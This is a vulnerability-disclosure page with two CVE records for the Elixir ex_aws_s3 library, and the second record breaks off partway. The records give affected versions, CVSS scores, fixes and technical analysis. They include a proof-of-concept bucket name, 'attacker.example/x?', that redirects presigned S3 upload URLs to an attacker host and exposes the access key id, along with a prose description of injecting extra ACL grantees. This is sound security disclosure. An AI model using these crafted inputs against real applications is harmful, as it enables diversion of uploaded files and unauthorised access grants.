    ex-aws ex_aws_s3 Affected: 4ce4d72219c0cb8de9356278203d8ea780311b75 , < ea26e8b43785f3ff1f14d6b22d8069fc06a58e55 (git)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 14:13
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex_aws_s3",
              "packageURL": "pkg:hex/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:presigned_url/5"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:presigned_post/4"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:url_to_sign/5"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.6.0",
                  "status": "affected",
                  "version": "2.0.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex-aws/ex_aws_s3",
              "packageURL": "pkg:github/ex-aws/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:presigned_url/5"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:presigned_post/4"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:url_to_sign/5"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "ea26e8b43785f3ff1f14d6b22d8069fc06a58e55",
                  "status": "affected",
                  "version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eReachable only when presigned URLs or POST forms are generated with \u003ccode\u003evirtual_host: true\u003c/code\u003e, \u003ccode\u003es3_accelerate: true\u003c/code\u003e or \u003ccode\u003ebucket_as_host: true\u003c/code\u003e and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style presigning, the default, places the bucket in the path and is not affected.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Reachable only when presigned URLs or POST forms are generated with `virtual_host: true`, `s3_accelerate: true` or `bucket_as_host: true` and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style presigning, the default, places the bucket in the path and is not affected."
                }
              ],
              "value": "Reachable only when presigned URLs or POST forms are generated with virtual_host: true, s3_accelerate: true or bucket_as_host: true and the application passes a bucket name an attacker can influence, for example per-tenant or user-supplied buckets. Path-style presigning, the default, places the bucket in the path and is not affected."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.6.0",
                      "versionStartIncluding": "2.0.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "dateAssigned": "2026-11-24T14:02:01.000Z",
          "datePublic": "2026-11-24T14:13:15.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eExternally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice.\u003c/p\u003e\n\u003cp\u003eWith \u003ccode\u003evirtual_host: true\u003c/code\u003e, \u003ccode\u003es3_accelerate: true\u003c/code\u003e or \u003ccode\u003ebucket_as_host: true\u003c/code\u003e, \u003ccode\u003eExAws.S3.presigned_url/5\u003c/code\u003e and \u003ccode\u003eExAws.S3.presigned_post/4\u003c/code\u003e build the URL from the bucket name without checking it. A bucket such as \u003ccode\u003eattacker.example/x?\u003c/code\u003e turns the URL into \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com...\u003c/code\u003e, and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker\u0027s host, and every such URL discloses the access key id. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e any valid hostname works as the bucket name.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Externally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice.\n\nWith `virtual_host: true`, `s3_accelerate: true` or `bucket_as_host: true`, `ExAws.S3.presigned_url/5` and `ExAws.S3.presigned_post/4` build the URL from the bucket name without checking it. A bucket such as `attacker.example/x?` turns the URL into `https://attacker.example/x?.s3.amazonaws.com...`, and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker\u0027s host, and every such URL discloses the access key id. With `bucket_as_host: true` any valid hostname works as the bucket name.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
                }
              ],
              "value": "Externally Controlled Reference to a Resource in Another Sphere vulnerability in ex-aws ex_aws_s3 allows an attacker who controls an S3 bucket name to make presigned URLs and presigned POST forms point at a host of their choice.\n\nWith virtual_host: true, s3_accelerate: true or bucket_as_host: true, ExAws.S3.presigned_url/5 and ExAws.S3.presigned_post/4 build the URL from the bucket name without checking it. A bucket such as attacker.example/x? turns the URL into https://attacker.example/x?.s3.amazonaws.com..., and the signature is computed for that host. Clients given the URL upload their files to, or download content from, the attacker\u0027s host, and every such URL discloses the access key id. With bucket_as_host: true any valid hostname works as the bucket name.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-154",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eAn attacker who can choose the bucket name makes the application hand out presigned URLs and POST forms that point at the attacker\u0027s host. Files other users upload through those forms go to the attacker, presigned downloads serve attacker-controlled content under the application\u0027s name, and every such URL discloses the access key id. Applications that presign for per-tenant or user-supplied buckets with virtual-host addressing are affected.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "An attacker who can choose the bucket name makes the application hand out presigned URLs and POST forms that point at the attacker\u0027s host. Files other users upload through those forms go to the attacker, presigned downloads serve attacker-controlled content under the application\u0027s name, and every such URL discloses the access key id. Applications that presign for per-tenant or user-supplied buckets with virtual-host addressing are affected."
                    }
                  ],
                  "value": "An attacker who can choose the bucket name makes the application hand out presigned URLs and POST forms that point at the attacker\u0027s host. Files other users upload through those forms go to the attacker, presigned downloads serve attacker-controlled content under the application\u0027s name, and every such URL discloses the access key id. Applications that presign for per-tenant or user-supplied buckets with virtual-host addressing are affected."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 5.8,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "NONE",
                "subIntegrityImpact": "NONE",
                "userInteraction": "PASSIVE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "LOW",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-610",
                  "description": "CWE-610 Externally Controlled Reference to a Resource in Another Sphere",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T14:13:16.822Z",
            "orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
            "shortName": "EEF"
          },
          "references": [
            {
              "name": "Virtual-host bucket name controls the host of presigned URLs in ExAws.S3.presigned_url/5 and presigned_post/4",
              "tags": [
                "vendor-advisory",
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/security/advisories/GHSA-p62r-cgcg-9fm7"
            },
            {
              "name": "EEF CNA record for CVE-2026-63582",
              "tags": [
                "related"
              ],
              "url": "https://cna.erlef.org/cves/CVE-2026-63582.html"
            },
            {
              "name": "OSV record EEF-CVE-2026-63582",
              "tags": [
                "related"
              ],
              "url": "https://osv.dev/vulnerability/EEF-CVE-2026-63582"
            },
            {
              "name": "Introducing commit 4ce4d72 in ex-aws/ex_aws_s3",
              "tags": [
                "related"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/4ce4d72219c0cb8de9356278203d8ea780311b75"
            },
            {
              "name": "Fix commit ea26e8b in ex-aws/ex_aws_s3",
              "tags": [
                "patch"
              ],
              "url": "https://github.com/ex-aws/ex_aws_s3/commit/ea26e8b43785f3ff1f14d6b22d8069fc06a58e55"
            }
          ],
          "solutions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eUpgrading rejects bucket names containing characters that can change the host of a presigned URL. With \u003ccode\u003ebucket_as_host: true\u003c/code\u003e, a syntactically valid hostname is still used as the host after upgrading: applications that presign with \u003ccode\u003ebucket_as_host: true\u003c/code\u003e and bucket names they do not fully control must also pass the \u003ccode\u003ebucket_as_host_allowlist\u003c/code\u003e option, or set it in the S3 config, with the list of trusted hostnames.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "Upgrading rejects bucket names containing characters that can change the host of a presigned URL. With `bucket_as_host: true`, a syntactically valid hostname is still used as the host after upgrading: applications that presign with `bucket_as_host: true` and bucket names they do not fully control must also pass the `bucket_as_host_allowlist` option, or set it in the S3 config, with the list of trusted hostnames."
                }
              ],
              "value": "Upgrading rejects bucket names containing characters that can change the host of a presigned URL. With bucket_as_host: true, a syntactically valid hostname is still used as the host after upgrading: applications that presign with bucket_as_host: true and bucket names they do not fully control must also pass the bucket_as_host_allowlist option, or set it in the S3 config, with the list of trusted hostnames."
            }
          ],
          "source": {
            "discovery": "EXTERNAL"
          },
          "title": "S3 bucket name controls the host of presigned URLs in ex_aws_s3",
          "x_proofOfConcept": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003col\u003e\n\u003cli\u003eAn application presigns uploads for per-tenant buckets with \u003ccode\u003evirtual_host: true\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eA tenant sets its bucket name to \u003ccode\u003eattacker.example/x?\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eExAws.S3.presigned_url(config, :put, bucket, \"key\", virtual_host: true)\u003c/code\u003e returns \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com%2Fkey=\u0026amp;X-Amz-Credential=...\u003c/code\u003e, and \u003ccode\u003epresigned_post/4\u003c/code\u003e returns the form action \u003ccode\u003ehttps://attacker.example/x?.s3.amazonaws.com\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eURI.parse/1\u003c/code\u003e on either yields the host \u003ccode\u003eattacker.example\u003c/code\u003e, so any client given the URL or form connects there.\u003c/li\u003e\n\u003c/ol\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "1. An application presigns uploads for per-tenant buckets with `virtual_host: true`.\n2. A tenant sets its bucket name to `attacker.example/x?`.\n3. `ExAws.S3.presigned_url(config, :put, bucket, \"key\", virtual_host: true)` returns `https://attacker.example/x?.s3.amazonaws.com%2Fkey=\u0026X-Amz-Credential=...`, and `presigned_post/4` returns the form action `https://attacker.example/x?.s3.amazonaws.com`.\n4. `URI.parse/1` on either yields the host `attacker.example`, so any client given the URL or form connects there."
                }
              ],
              "value": "* An application presigns uploads for per-tenant buckets with virtual_host: true.\n* A tenant sets its bucket name to attacker.example/x?.\n* ExAws.S3.presigned_url(config, :put, bucket, \"key\", virtual_host: true) returns https://attacker.example/x?.s3.amazonaws.com%2Fkey=\u0026X-Amz-Credential=..., and presigned_post/4 returns the form action https://attacker.example/x?.s3.amazonaws.com.\n* URI.parse/1 on either yields the host attacker.example, so any client given the URL or form connects there."
            }
          ],
          "x_technicalAnalysis": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003cstrong\u003e1. URL construction.\u003c/strong\u003e The private \u003ccode\u003eurl_to_sign/5\u003c/code\u003e in \u003ccode\u003elib/ex_aws/s3.ex\u003c/code\u003e builds the URL for \u003ccode\u003epresigned_url/5\u003c/code\u003e and \u003ccode\u003epresigned_post/4\u003c/code\u003e as \u003ccode\u003e\"#{scheme}#{bucket}.#{host}#{port}#{object}\"\u003c/code\u003e when \u003ccode\u003evirtual_host\u003c/code\u003e is set, or \u003ccode\u003e\"#{scheme}#{bucket}#{port}#{object}\"\u003c/code\u003e with \u003ccode\u003ebucket_as_host\u003c/code\u003e. \u003ccode\u003es3_accelerate: true\u003c/code\u003e sets \u003ccode\u003evirtual_host\u003c/code\u003e and takes the same branch. The bucket name is not checked.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Signing for the attacker\u0027s host.\u003c/strong\u003e The string goes to \u003ccode\u003eExAws.Auth.presigned_url/9\u003c/code\u003e, which signs \u003ccode\u003eURI.parse(url).authority\u003c/code\u003e. For the bucket \u003ccode\u003eattacker.example/x?\u003c/code\u003e the signed host is \u003ccode\u003eattacker.example\u003c/code\u003e, and the \u003ccode\u003e?\u003c/code\u003e pushes the object key into the query string.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Effect.\u003c/strong\u003e Presigned URLs are built locally and never pass through \u003ccode\u003eExAws.Operation.S3.add_bucket_to_path/2\u003c/code\u003e, so the fix in ex_aws for the request path does not cover them. A browser submitting the presigned POST sends its upload to the attacker, a client following a presigned GET receives attacker content, and \u003ccode\u003eX-Amz-Credential\u003c/code\u003e discloses the access key id. The secret key is not disclosed and the signature cannot be replayed against AWS.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "**1. URL construction.** The private `url_to_sign/5` in `lib/ex_aws/s3.ex` builds the URL for `presigned_url/5` and `presigned_post/4` as `\"#{scheme}#{bucket}.#{host}#{port}#{object}\"` when `virtual_host` is set, or `\"#{scheme}#{bucket}#{port}#{object}\"` with `bucket_as_host`. `s3_accelerate: true` sets `virtual_host` and takes the same branch. The bucket name is not checked.\n\n**2. Signing for the attacker\u0027s host.** The string goes to `ExAws.Auth.presigned_url/9`, which signs `URI.parse(url).authority`. For the bucket `attacker.example/x?` the signed host is `attacker.example`, and the `?` pushes the object key into the query string.\n\n**3. Effect.** Presigned URLs are built locally and never pass through `ExAws.Operation.S3.add_bucket_to_path/2`, so the fix in ex_aws for the request path does not cover them. A browser submitting the presigned POST sends its upload to the attacker, a client following a presigned GET receives attacker content, and `X-Amz-Credential` discloses the access key id. The secret key is not disclosed and the signature cannot be replayed against AWS."
                }
              ],
              "value": "1. URL construction. The private url_to_sign/5 in lib/ex_aws/s3.ex builds the URL for presigned_url/5 and presigned_post/4 as \"#{scheme}#{bucket}.#{host}#{port}#{object}\" when virtual_host is set, or \"#{scheme}#{bucket}#{port}#{object}\" with bucket_as_host. s3_accelerate: true sets virtual_host and takes the same branch. The bucket name is not checked.\n\n2. Signing for the attacker\u0027s host. The string goes to ExAws.Auth.presigned_url/9, which signs URI.parse(url).authority. For the bucket attacker.example/x? the signed host is attacker.example, and the ? pushes the object key into the query string.\n\n3. Effect. Presigned URLs are built locally and never pass through ExAws.Operation.S3.add_bucket_to_path/2, so the fix in ex_aws for the request path does not cover them. A browser submitting the presigned POST sends its upload to the attacker, a client following a presigned GET receives attacker content, and X-Amz-Credential discloses the access key id. The secret key is not disclosed and the signature cannot be replayed against AWS."
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
        "assignerShortName": "EEF",
        "cveId": "CVE-2026-63582",
        "datePublished": "2026-11-24T14:13:16.822Z",
        "dateReserved": "2026-07-17T04:14:44.351Z",
        "dateUpdated": "2026-11-24T14:13:16.822Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    CVE-2026-63585 (GCVE-0-2026-63585)

    Vulnerability from cvelistv5 – Published: 2026-11-24 14:13 – Updated: 2026-11-24 14:13
    VLAI
    Title
    ExAws.S3 ACL grantee injection via unescaped grant headers in format_grant_header/1
    Summary
    ExAws.S3 constructs S3 ACL grant headers (such as x-amz-grant-read and x-amz-grant-full-control) in format_grant_header/1 by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a "share this object" feature) into an ACL grant option (grant_read, grant_write, grant_read_acp, grant_write_acp, or grant_full_control) lets the attacker close the quoted token and inject an additional grantee, such as the attacker's own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue. This issue affects ex_aws_s3: from 2.0.0 before 2.6.0.
    CWE
    • CWE-116 - Improper Encoding or Escaping of Output
    Assigner
    EEF CNA under the mitre root
    CNA scorecard A 97/100 over 376 records in the last 180 days details
    Impacted products
    Vendor Product Version
    ex-aws ex_aws_s3 Affected: 2.0.0 , < 2.6.0 (semver)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    ex-aws ex_aws_s3 Affected: 4ce4d72219c0cb8de9356278203d8ea780311b75 , < dd422637a46203d01cc47fd832836758f8090556 (git)
        cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*
    Create a notification for this product.
    Date Public
    2026-11-24 14:13
    Show details on NVD website

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "collectionURL": "https://repo.hex.pm",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3.Utils\u0027",
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex_aws_s3",
              "packageURL": "pkg:hex/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3/utils.ex",
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3.Utils\u0027:format_grant_header/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_object_acl/3"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_acl/3"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "2.6.0",
                  "status": "affected",
                  "version": "2.0.0",
                  "versionType": "semver"
                }
              ]
            },
            {
              "collectionURL": "https://github.com",
              "cpes": [
                "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*"
              ],
              "defaultStatus": "unaffected",
              "modules": [
                "\u0027Elixir.ExAws.S3.Utils\u0027",
                "\u0027Elixir.ExAws.S3\u0027"
              ],
              "packageName": "ex-aws/ex_aws_s3",
              "packageURL": "pkg:github/ex-aws/ex_aws_s3",
              "product": "ex_aws_s3",
              "programFiles": [
                "lib/ex_aws/s3/utils.ex",
                "lib/ex_aws/s3.ex"
              ],
              "programRoutines": [
                {
                  "name": "\u0027Elixir.ExAws.S3.Utils\u0027:format_grant_header/1"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_object_acl/3"
                },
                {
                  "name": "\u0027Elixir.ExAws.S3\u0027:put_bucket_acl/3"
                }
              ],
              "repo": "https://github.com/ex-aws/ex_aws_s3",
              "vendor": "ex-aws",
              "versions": [
                {
                  "lessThan": "dd422637a46203d01cc47fd832836758f8090556",
                  "status": "affected",
                  "version": "4ce4d72219c0cb8de9356278203d8ea780311b75",
                  "versionType": "git"
                }
              ]
            }
          ],
          "configurations": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003eThe vulnerability requires the host application to pass untrusted input into an \u003ccode\u003eExAws.S3\u003c/code\u003e ACL grant option (\u003ccode\u003egrant_read\u003c/code\u003e, \u003ccode\u003egrant_write\u003c/code\u003e, \u003ccode\u003egrant_read_acp\u003c/code\u003e, \u003ccode\u003egrant_write_acp\u003c/code\u003e, or \u003ccode\u003egrant_full_control\u003c/code\u003e). Applications that only pass trusted, validated grantee identifiers into these options are not affected.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "The vulnerability requires the host application to pass untrusted input into an `ExAws.S3` ACL grant option (`grant_read`, `grant_write`, `grant_read_acp`, `grant_write_acp`, or `grant_full_control`). Applications that only pass trusted, validated grantee identifiers into these options are not affected."
                }
              ],
              "value": "The vulnerability requires the host application to pass untrusted input into an ExAws.S3 ACL grant option (grant_read, grant_write, grant_read_acp, grant_write_acp, or grant_full_control). Applications that only pass trusted, validated grantee identifiers into these options are not affected."
            }
          ],
          "cpeApplicability": [
            {
              "nodes": [
                {
                  "cpeMatch": [
                    {
                      "criteria": "cpe:2.3:a:ex-aws:ex_aws_s3:*:*:*:*:*:*:*:*",
                      "versionEndExcluding": "2.6.0",
                      "versionStartIncluding": "2.0.0",
                      "vulnerable": true
                    }
                  ],
                  "negate": false,
                  "operator": "OR"
                }
              ],
              "operator": "AND"
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "reporter",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "analyst",
              "value": "Jonatan M\u00e4nnchen / EEF"
            },
            {
              "lang": "en",
              "type": "coordinator",
              "value": "Peter Ullrich"
            },
            {
              "lang": "en",
              "type": "remediation developer",
              "value": "Bernard Duggan"
            }
          ],
          "datePublic": "2026-11-24T14:13:11.000Z",
          "descriptions": [
            {
              "lang": "en",
              "supportingMedia": [
                {
                  "base64": false,
                  "type": "text/html",
                  "value": "\u003cp\u003e\u003ccode\u003eExAws.S3\u003c/code\u003e constructs S3 ACL grant headers (such as \u003ccode\u003ex-amz-grant-read\u003c/code\u003e and \u003ccode\u003ex-amz-grant-full-control\u003c/code\u003e) in \u003ccode\u003eformat_grant_header/1\u003c/code\u003e by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a \"share this object\" feature) into an ACL grant option (\u003ccode\u003egrant_read\u003c/code\u003e, \u003ccode\u003egrant_write\u003c/code\u003e, \u003ccode\u003egrant_read_acp\u003c/code\u003e, \u003ccode\u003egrant_write_acp\u003c/code\u003e, or \u003ccode\u003egrant_full_control\u003c/code\u003e) lets the attacker close the quoted token and inject an additional grantee, such as the attacker\u0027s own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0.\u003c/p\u003e"
                },
                {
                  "base64": false,
                  "type": "text/markdown",
                  "value": "`ExAws.S3` constructs S3 ACL grant headers (such as `x-amz-grant-read` and `x-amz-grant-full-control`) in `format_grant_header/1` by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a \"share this object\" feature) into an ACL grant option (`grant_read`, `grant_write`, `grant_read_acp`, `grant_write_acp`, or `grant_full_control`) lets the attacker close the quoted token and inject an additional grantee, such as the attacker\u0027s own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
                }
              ],
              "value": "ExAws.S3 constructs S3 ACL grant headers (such as x-amz-grant-read and x-amz-grant-full-control) in format_grant_header/1 by interpolating grantee identifiers into a quoted, comma-separated list without escaping. Grantee email and id values are wrapped in double quotes and joined with a comma, but double-quote, comma, and CR/LF characters in the value are not neutralized. An application that passes an attacker-influenced grantee value (for example an email address taken from a \"share this object\" feature) into an ACL grant option (grant_read, grant_write, grant_read_acp, grant_write_acp, or grant_full_control) lets the attacker close the quoted token and inject an additional grantee, such as the attacker\u0027s own canonical id or the predefined AllUsers group URI, into the header. S3 then applies the injected grantee, granting an arbitrary principal the same permission (up to full control or public access) in an unintended ACL grantee-injection and privilege-escalation issue.\n\nThis issue affects ex_aws_s3: from 2.0.0 before 2.6.0."
            }
          ],
          "impacts": [
            {
              "capecId": "CAPEC-137",
              "descriptions": [
                {
                  "lang": "en",
                  "supportingMedia": [
                    {
                      "base64": false,
                      "type": "text/html",
                      "value": "\u003cp\u003eThis is an ACL grantee-injection vulnerability leading to unintended permission grants and potential privilege escalation. It affects any application using \u003ccode\u003eExAws.S3\u003c/code\u003e ACL grant options (\u003ccode\u003egrant_read\u003c/code\u003e, \u003ccode\u003egrant_write\u003c/code\u003e, \u003ccode\u003egrant_read_acp\u003c/code\u003e, \u003ccode\u003egrant_write_acp\u003c/code\u003e, \u003ccode\u003egrant_full_control\u003c/code\u003e) where the grantee email or id is derived from untrusted input. An attacker who can influence a grantee value can grant their own AWS principal access to objects or buckets, up to full control, by injecting an extra grantee into the comma-separated grant header.\u003c/p\u003e"
                    },
                    {
                      "base64": false,
                      "type": "text/markdown",
                      "value": "This is an ACL grantee-injection vulnerability leading to unintended permission grants and potential privilege escalation. It affects any application using `ExAws.S3` ACL grant options (`grant_read`, `grant_write`, `grant_read_acp`, `grant_write_acp`, `grant_full_control`) where the grantee email or id is derived from untrusted input. An attacker who can influence a grantee value can grant their own AWS principal access to objects or buckets, up to full control, by injecting an extra grantee into the comma-separated grant header."
                    }
                  ],
                  "value": "This is an ACL grantee-injection vulnerability leading to unintended permission grants and potential privilege escalation. It affects any application using ExAws.S3 ACL grant options (grant_read, grant_write, grant_read_acp, grant_write_acp, grant_full_control) where the grantee email or id is derived from untrusted input. An attacker who can influence a grantee value can grant their own AWS principal access to objects or buckets, up to full control, by injecting an extra grantee into the comma-separated grant header."
                }
              ]
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "PRESENT",
                "attackVector": "LOCAL",
                "baseScore": 4.8,
                "baseSeverity": "MEDIUM",
                "privilegesRequired": "NONE",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "LOW",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "NONE",
                "vulnIntegrityImpact": "LOW",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "format": "CVSS",
              "scenarios": [
                {
                  "lang": "en",
                  "value": "GENERAL"
                }
              ]
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-116",
                  "description": "CWE-116 Improper Encoding or Escaping of Output",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-24T14:13:11.918Z",
